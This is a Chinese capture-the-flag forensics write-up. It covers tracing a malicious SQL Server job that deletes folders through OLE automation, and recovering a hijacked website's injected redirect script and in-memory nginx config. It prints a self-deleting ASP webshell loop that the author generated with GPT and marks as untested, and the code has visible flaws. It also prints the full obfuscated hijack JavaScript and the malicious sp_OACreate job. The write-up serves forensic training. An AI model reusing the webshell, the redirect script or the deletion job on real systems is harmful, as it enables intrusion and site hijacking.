solar2月
solar2月
复现下不会的一些做法
单机取证4
题目描述
小王发现系统中有什么文件一直被删除,你能找出来原因吗?(请回答包含的可疑域名)
flag格式为:flag
前提先看他公众号的文章
https://mp.weixin.qq.com/s/skmcAWKlVxUEh0WVCGYG5g
MSSSQLSERVER
登录失败日志,事件ID: 18456
登陆成功日志, 事件ID: 18453
更改程序集日志,事件ID: 15457
为什么要想到sql server上呢?因为我找不到asp的不死马在哪
比如下面的这种,不过asp不死马我是真网上找不到,这段我是拿熟悉的php不死马找gpt生的,能不能行我也不知道
如果想让这个 ASP 木马具备删除自己的功能,可以考虑以下改写方式:
使用 VBScript 删除文件:ASP 可以使用 VBScript 调用 Windows 脚本(例如
FileSystemObject)来删除文件。这样,你可以通过以下方法实现自我删除。
<%
' 忽略用户中断
On Error Resume Next
' 定义恶意代码和文件名
Dim file, code
file = Server.MapPath("-test.asp")
code = "<%" & " If Request.QueryString(""pass"")=""test"" Then Execute(Request.Form(""test"")) End If %>"
' 删除当前脚本文件
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")))
' 无限循环写入并修改文件时间戳
Do While True
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile(file, True)
a.WriteLine(code)
a.Close
' 修改文件的时间戳以防被删除
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd /c echo 2018-12-01 > temp.txt && touch -m -d @1543674612 -test.asp"
' 暂停5毫秒
WScript.Sleep(5)
Loop
%>
具体行为就是先定义一个webshell,跟着做一个自我删除的动作,然后永真的执行某个行为。这时候这个木马是不能单独看到的,只存在于进程内存中,但是关机、重名写入、条件竞争可以解决
问题来了,这仿真肯定是关机了,我从哪找马?而且d盾扫遍www目录,也找不到别的可疑webshell
看回桌面的运维小明留下的密码文本,是sql server的
干货 | MSSQL注入和漏洞利用姿势总结-腾讯云开发者社区-腾讯云
可以看看他有利用什么玩法
事件id搜15457,可以看到有开启ole自动化(吻合任务式周期删除的特征)

找这个时间段附件的,发现确实加载了外部dll,同时他还是个sa高权限用户,感觉可能会有问题

官wp可以查看到如下信息
https://mp.weixin.qq.com/s/8qtXYsJNcNR5K6qrGFD_Qg
作业信息存储
数据库作业信息存储在
msdb数据库中如:
msdb.dbo.sysjobs存储所有作业的基本信息(如作业名称、所有者、启用状态等)。msdb.dbo.sysjobsteps存储作业的步骤(Step)信息(如执行的命令、类型、成功/失败后的操作)。msdb.dbo.sysschedules存储作业的计划(Schedule)信息(如执行频率、时间)。msdb.dbo.sysjobschedules关联作业与计划(Job 和 Schedule 的对应关系)。msdb.dbo.sysjobhistory存储作业的执行历史记录(如开始时间、结束时间、执行状态)。
USE msdb;
SELECT * FROM dbo.sysjobsteps;
可以看到有怪东西

厨师烹饪一下

DECLARE @Result int;
DECLARE @FSO_Token int;
EXEC @Result = sp_OACreate '{0wwww.cyg2016.xyy}', @FSO_Token OUTPUT;
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*';
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*';
GPT时间
这段代码是利用 SQL Server 的 OLE Automation (OLE 自动化) 来调用外部对象执行操作,涉及到使用 FileSystemObject 删除特定目录下的文件夹。以下是代码的详细解释:
- 声明变量
DECLARE @Result int;
DECLARE @FSO_Token int;
@Result:用于存储操作结果(返回值),比如函数或方法的执行是否成功。@FSO_Token:一个整数变量,存储FileSystemObject(FSO) 的 COM 对象标识符。
- 创建 COM 对象
EXEC @Result = sp_OACreate '{0wwww.cyg2016.xyy}', @FSO_Token OUTPUT;
sp_OACreate是 SQL Server 的一个系统存储过程,用于创建一个 OLE (Object Linking and Embedding) 自动化对象。在这里,{0wwww.cyg2016.xyy}应该是一个指向 FileSystemObject COM 对象的 ProgID(程序标识符),但是这看起来像是一个不完整或被修改的地址(可能是恶意代码或伪造的地址)。正常情况下,创建 FileSystemObject COM 对象的 ProgID 应该是Scripting.FileSystemObject。@FSO_Token OUTPUT:用于存储创建的 COM 对象标识符。
- 删除文件夹
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*';
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*';
sp_OAMethod是 SQL Server 中的另一个系统存储过程,用于调用已经创建的 OLE 自动化对象的方法。@FSO_Token:指向FileSystemObject的标识符。'DeleteFolder':调用的FileSystemObject方法,用于删除指定路径的文件夹。NULL:用于指定方法的额外参数,在这里不需要额外的输入。'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*'和'c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*':要删除的目标文件夹路径。*表示删除该路径下的所有内容(包括子文件夹和文件)。
总结:
这段代码的作用是利用 SQL Server 的 OLE Automation 功能,通过调用 FileSystemObject 对象的方法,删除 Windows 系统中的特定目录下的所有文件和文件夹。具体来说,它试图删除以下目录的内容:
c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*
这些路径通常包含用户的浏览器缓存和临时文件。删除这些内容可能是攻击者用来清除证据、掩盖痕迹,或破坏系统的行为。
安全问题:
- 这种代码可以用来通过 SQL 注入或其他恶意手段,在 SQL Server 中执行文件删除操作。攻击者通过
sp_OACreate和sp_OAMethod创建并调用外部对象,从而执行类似删除文件夹的操作。 - 需要特别注意,SQL Server 默认是不允许启用 OLE 自动化对象的,这种做法通常被视为不安全的操作,尤其是在生产环境中。管理员应当禁用该功能来减少潜在风险。
黑链
题目描述
网站被劫持,被跳转到外部网站,请分析内部原因。
本题提供两个端口:
第一个端口为ssh端口默认密码为solar@202502
第二个端口为被劫持的web服务,路径为 /projectA/index.jsp
黑链-1
可以burp抓一下,然后base64解码
也可以f12给脚本监听器下一下,断进去返回的html的js里,然后开始f11慢慢步入,就可以看到

这是源文件,可以自己断一断
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hidden Link Example</title>
<style>
.hidden-link {
display: none;
}
</style>
</head>
<body>
<script>
(function(){let c=['eNo1Ul1Xm1AQ/C97+nijARIIviXST9G2NlXjSw8h5AMxpBcSSj3+987OrU/MmZ3d2R3uiyztrVx4kZGVgvHEyCkBCEIjpTIxQKUgGBvZExiZqsTzIb5UFEJz4JwhRO9ZDGMjVrmRh4ZW0WQ4MvJZq2PlTuwIga6Ui3zfyB8aqO6aHMBfpdTqOxkP7mR01Z9KxRFG3CuSdZVtXvo0KAdpvEwHwWEaDU53fvkqRj7SbgKTBbXHrj2VPQpXPBxzrzkXe/9y5w2NfOUF6p4pNwLIeQBUPzjQyLvEfQtXQOWeg4zsmOQERyw4Byk/0TvfZvayXhXTFv7PjBDymrWq2G/aLfjf7PbRlNHJQ8oNJdu2PTQX5+dd1501dZXZpsiPdtf2Z/kejUcGhYXYFmO1jm2z+Xo5W0CwYcHHvJ67e9j5yfIfANXub+NPzrgZ0m3s/xUT3jhBMh1TC6D/pJyPI3u+F6i+MCsjKW1ttl/Vz7C9oTBEht84Rv/bbcKHYWTOTSLMS+iP2h3HeCh+cAuDe3AB2GKNgY8usDrP2l2tl6fuScHh5i3wFQ3GuHWuFIat+WhgtHXHQ/Rg31DpHi+Of3SeQBX39qLXf2Bvyww='],d,P,L=String.fromCharCode,M=Uint8Array,j=Uint16Array,w=Uint32Array;var f=typeof window==='object'&&window||typeof self==='object'&&self||exports;(function(d){var H='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',y=function(q){var i={};for(var k=0,$=q.length;k<$;k++)i[q.charAt(k)]=k;return i}(H),n=function(q){var $,I,k,i=q.length;$=i%4,I=(i>0?y[q.charAt(0)]<<18:0)|(i>1?y[q.charAt(1)]<<12:0)|(i>2?y[q.charAt(2)]<<6:0)|(i>3?y[q.charAt(3)]:0),k=[L(I>>>16),L(I>>>8&255),L(I&255)],k.length-=[0,0,2,1][$];return k.join('')},o=function(i){return i.replace(/\S{1,4}/g,n)};d.atob=function(i){return o(String(i).replace(/[^A-Za-z0-9\+\/]/g,''))}}(f),function($){var W,v,k,Q,h,a,U,R=8,V=!0,y=void 0;function N(l){throw l}function b(l,T){var x,F;x=void 0,this.input=l,this.c=0;if(T||!(T={})){T.index&&(this.c=T.index),T.verify&&(this.N=T.verify)}F=l[this.c++],x=l[this.c++];switch(F&15){case R:this.method=R}0!==((F<<8)+x)%31&&N(Error('err:'+((F<<8)+x)%31)),x&32&&N(Error('not')),this.B=new r(l,{index:this.c,bufferSize:T.bufferSize,bufferType:T.bufferType,resize:T.resize})}b.prototype.p=function(){var F,x,l=this.input;F=void 0,x=void 0,F=this.B.p(),this.c=this.B.c,this.N&&(x=(l[this.c++]<<24|l[this.c++]<<16|l[this.c++]<<8|l[this.c++])>>>0,x!==jb(F)&&N(Error('i32c')));return F};var d=0,K=1;function r(l,x){this.l=[],this.m=32768,this.e=this.g=this.c=this.q=0,this.input=m?new M(l):l,this.s=!1,this.n=K,this.C=!1;if(x||!(x={})){x.index&&(this.c=x.index),x.bufferSize&&(this.m=x.bufferSize),x.bufferType&&(this.n=x.bufferType),x.resize&&(this.C=x.resize)}switch(this.n){case d:this.b=32768,this.a=new(m?M:Array)(32768+this.m+258);break;case K:this.b=0,this.a=new(m?M:Array)(this.m),this.f=this.K,this.t=this.I,this.o=this.J;break;default:N(Error('imd'))}}r.prototype.K=function(T){var z,x,l,A,f,F,Z;x=this.input.length/this.c+1|0,l=void 0,z=void 0,A=void 0,f=this.input,F=this.a,T&&('number'===typeof T.v&&(x=T.v),'number'===typeof T.G&&(x+=T.G)),2>x?(l=(f.length-this.c)/this.u[2],A=258*(l/2)|0,z=A<F.length?F.length+A:F.length<<1):z=F.length*x,m?(Z=new M(z),Z.set(F)):Z=F;return this.a=Z},r.prototype.I=function(){var x,l;x=this.b,m?this.C?(l=new M(x),l.set(this.a.subarray(0,x))):l=this.a.subarray(0,x):(this.a.length>x&&(this.a.length=x),l=this.a);return this.buffer=l},r.prototype.J=function(T,A){var x=this.a,l=this.b;this.u=T;for(var z=x.length,e,f,F,Z;256!==(e=E(this,T));)if(256>e){l>=z&&(x=this.f(),z=x.length),x[l++]=e}else{f=e-257,Z=n[f],0<D[f]&&(Z+=X(this,D[f])),e=E(this,A),F=H[e],0<q[e]&&(F+=X(this,q[e])),l+Z>z&&(x=this.f(),z=x.length);for(;Z--;)x[l]=x[l++-F]}for(;8<=this.e;)this.e-=8,this.c--;this.b=l};function o(F){var Z=F.length,x=0,g=Number.POSITIVE_INFINITY,T,e,f,dU,z,A,l,fU,p,GU;for(fU=0;fU<Z;++fU)F[fU]>x&&(x=F[fU]),F[fU]<g&&(g=F[fU]);T=1<<x,e=new(m?w:Array)(T),f=1,dU=0;for(z=2;f<=x;){for(fU=0;fU<Z;++fU)if(F[fU]===f){A=0,l=dU;for(p=0;p<f;++p)A=A<<1|l&1,l>>=1;GU=f<<16|fU;for(p=A;p<T;p+=z)e[p]=GU;++dU}++f,dU<<=1,z<<=1}return[e,x,g]};function E(l,g){for(var z=l.g,GU=l.e,F=l.input,T=l.c,f=F.length,A=g[0],x=g[1],e,Z;GU<x&&!(T>=f);)z|=F[T++]<<GU,GU+=8;e=A[z&(1<<x)-1],Z=e>>>16,l.g=z>>Z,l.e=GU-Z,l.c=T;return e&65535}function i(z){var T,A;function e(e,Z,F){var z,l=this.z,g,f;for(f=0;f<e;)GU:switch(z=E(this,Z),z){case 16:for(g=3+X(this,2);g--;)F[f++]=l;break GU;case 17:for(g=3+X(this,3);g--;)F[f++]=0;l=0;break GU;case 18:for(g=11+X(this,7);g--;)F[f++]=0;l=0;break GU;default:l=F[f++]=z}this.z=l;return F}var F=X(z,5)+257,l=X(z,5)+1,Z=X(z,4)+4,g=new(m?M:Array)(I.length),f;T=void 0,A=void 0;var x;for(x=0;x<Z;++x)g[I[x]]=X(z,3);if(!m){x=Z;for(Z=g.length;x<Z;++x)g[I[x]]=0}f=o(g),T=new(m?M:Array)(F),A=new(m?M:Array)(l),z.z=0,z.o(o(e.call(z,F,f,T)),o(e.call(z,l,f,A)))}function X(T,Z){for(var x=T.g,l=T.e,z=T.input,A=T.c,f=z.length,F;l<Z;)A>=f&&N(Error('bk')),x|=z[A++]<<l,l+=8;F=x&(1<<Z)-1,T.g=x>>>Z,T.e=l-Z,T.c=A;return F}r.prototype.p=function(){for(;!this.s;){var Z=X(this,3);Z&1&&(this.s=V),Z>>>=1;A:switch(Z){case 0:var fU,z,GU=this.input,F=this.c,l=this.a,e=this.b;fU=GU.length;var f=y;z=y;var g=l.length,x=y;this.e=this.g=0,F+1>=fU&&N(Error('iL')),f=GU[F++]|GU[F++]<<8,F+1>=fU&&N(Error('iN')),z=GU[F++]|GU[F++]<<8,f===~z&&N(Error('ih')),F+f>GU.length&&N(Error('ib'));T:switch(this.n){case d:for(;e+f>l.length;){x=g-e,f-=x;if(m){l.set(GU.subarray(F,F+x),e),e+=x,F+=x}else{for(;x--;)l[e++]=GU[F++]}this.b=e,l=this.f(),e=this.b}break T;case K:for(;e+f>l.length;)l=this.f({v:2});break T;default:N(Error('im'))}if(m){l.set(GU.subarray(F,F+f),e),e+=f,F+=f}else{for(;f--;)l[e++]=GU[F++]}this.c=F,this.b=e,this.a=l;break A;case 1:this.o(C,s);break A;case 2:i(this);break A;default:N(Error('e: '+Z))}}return Y(this.t())};var t='undefined',m=t!==typeof M&&t!==typeof j&&t!==typeof w&&t!==typeof DataView;Q=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var I=m?new j(Q):Q;k=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];var n=m?new j(k):k;v=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];var D=m?new M(v):v;W=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];var H=m?new j(W):W;h=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];var q=m?new M(h):h,B=new(m?M:Array)(288),J;U=void 0,J=0;for(U=B.length;J<U;++J)B[J]=143>=J?8:255>=J?9:279>=J?7:8;var C=o(B),S=new(m?M:Array)(30),u;a=void 0,u=0;for(a=S.length;u<a;++u)S[u]=5;var s=o(S);function Y(T){var Z,l,x;Z=void 0;var A,e,z;l='',Z=T.length,x=0;while(x<Z){A=T[x++];F:switch(A>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:l+=L(A);break F;case 12:case 13:e=T[x++],l+=L((A&31)<<6|e&63);break F;case 14:e=T[x++],z=T[x++],l+=L((A&15)<<12|(e&63)<<6|(z&63)<<0);break F}}return l}$.d=function(c){let l=new b(new M($.atob(c).split('').map(F=>F.charCodeAt(0))),{}),x=l.p();return x}}(f)),d=typeof window==='object'&&window||typeof self==='object'&&self||typeof global==='object'&&global;let G=true;for(let O of c){O=f.d(O),O=JSON.parse(O);if(G){Object.assign(d,O)}else{d.StringExtract=O}}}());function $vLeZwJ(z,n){Object.defineProperty(z,'length',{value:n,configurable:!0x0});return z}var $vjRCGW=function(){var z={Fco0Gm:function(n=oDR){if(!$vjRCGW.DvH9nO[TrR]){$vjRCGW.DvH9nO.push(-yrR)}return $vjRCGW.DvH9nO[n]},NydE9p:function(n=oDR){if(!$vjRCGW.dGRnUz[TrR]){$vjRCGW.dGRnUz.push(jrR)}return $vjRCGW.dGRnUz[n]},n7iUH6:wDR,dGRnUz:[],HUz1Mi:[],ubOxXz:DrR,_PGmP1u:YDR,k8iSdy:function(n=oDR){if(!$vjRCGW.HUz1Mi[TrR]){$vjRCGW.HUz1Mi.push(MrR)}return $vjRCGW.HUz1Mi[n]},DvH9nO:[]};return z}();(function(){var O=-arR,g=-drR,t=erR,b={b:(x=b.K==-KrR)=>{if(x){return b.E()}return t-=ArR},k:WDR,Z:NrR,B:function(){return(O==-vrR?b:t).h},X:LDR,r:(x=O==O)=>{if(!x){return arguments}return t+=t+lrR,b.U=!0x1},D:orR,Y:-wrR,$:-YrR,s:function(){typeof(t+=WrR,b.U=!0x1);return'L'},j:-LrR,K:XDR,t:function(){return t-=XrR},A:sDR,g:ZDR,d:-srR,x:$vLeZwJ(function(...x){~(x.length=0x1,x[0xc1]=x[0x0],x._5c4gi4=x[0xc1]);return x._5c4gi4.U?krR:ZrR},0x1),F:function(b){return b.q?-GrR:FrR},P:$vLeZwJ(function(...x){void(x.length=0x1,x[0x29]=x[0x0],x.FpdHkBY=-0x7b);return x.FpdHkBY>0x1?x[-0x73]:x[0x29]+xrR},0x1)};while(O+g+t!=grR&&$vjRCGW.Fco0Gm())z:switch(O+g+t){case DrR:~(b.t=void 0x0,O+=b.d,g+=rrR,b.b());break z;case brR:case $vjRCGW.Fco0Gm()?OrR:prR:case trR:case $vjRCGW.n7iUH6[kDR](JDR)==CDR?_DR:EDR:var S=SrR;void(t*=t==-zrR?-nrR:WrR,t-=b.Z);break z;case b.x(b):case mDR:case $vjRCGW.n7iUH6[kDR](JDR)==CDR?PDR:BDR:O+=$DR;break z;case!($vjRCGW.n7iUH6[kDR](JDR)==CDR)?erR:IDR:case UDR:case!($vjRCGW.n7iUH6[kDR](JDR)==CDR)?-RDR:QDR:void(b.h=(b.m=Math)[(b.K==orR||b).X]()<(b.a=S),O+=b.$,t+=hDR);break z;case qDR:case!($vjRCGW.n7iUH6[kDR](JDR)==CDR)?-uDR:iDR:case HDR:case VDR:~(window[b.g][b.K]=b.K==cDR?void 0x0:r,t+=fDR,b.q=!0x1);break z;case $vjRCGW._PGmP1u[kDR]($DR)==yDR?jDR:-TDR:case DDR:case $vjRCGW.ubOxXz>-MDR?dDR:-aDR:case b.F(b):if(b.s()=='L'){break z}case eDR:case KDR:case $vjRCGW.NydE9p()?NDR:-ADR:case b.P(O):if(b.B()&&$vjRCGW.k8iSdy()){b.t();break z}b.r();break z;case $vjRCGW.k8iSdy()?lrR:-lDR:var n=[b.k];t+=vDR;break z;default:delete b.I;var r=[(b.C=b).A];+(g+=rrR,t+=b.Y);break z}}())
</script>
</body>
</html>
黑链-2
检查tomcat 文件什么都没发现,但是ps发现存在加载了一个nginx1.conf,但是全局find发现是不存在的,这说明已经加载进内存当中了
ps -ef 查看一下pid ,发现正常的/etc/nginx/nginx.conf pid 为11 ,/etc/nginx/nginx1.conf pid为12
先更新一下软件包,安装gdb 来dump nginx的内存
这是官方wp内容
确认主进程pid
ps -ef |grep nginx
检查内存映射
cat /proc/pid/maps |grep heap
将返回结果:
556096ebf000-556096f24000 rw-p 00000000 00:00 0 [heap]
使用gdb转储堆
gdb -p pid
(gdb)dump memory /target/file 0x556096ebf000 0x556096f24000
最终可获得/target/file 通过查看该文件即可得到nginx配置文件

可以发现明显的转发,但是不知道是不是把这个ip的网页文件给下了,现在直接访问http://124.223.205.4/link.html是什么都没有的
后续查看正常nginx的配置文件,发现里面也只是做了/的路由,并没有做别的路由代理

浙公网安备 33010602011771号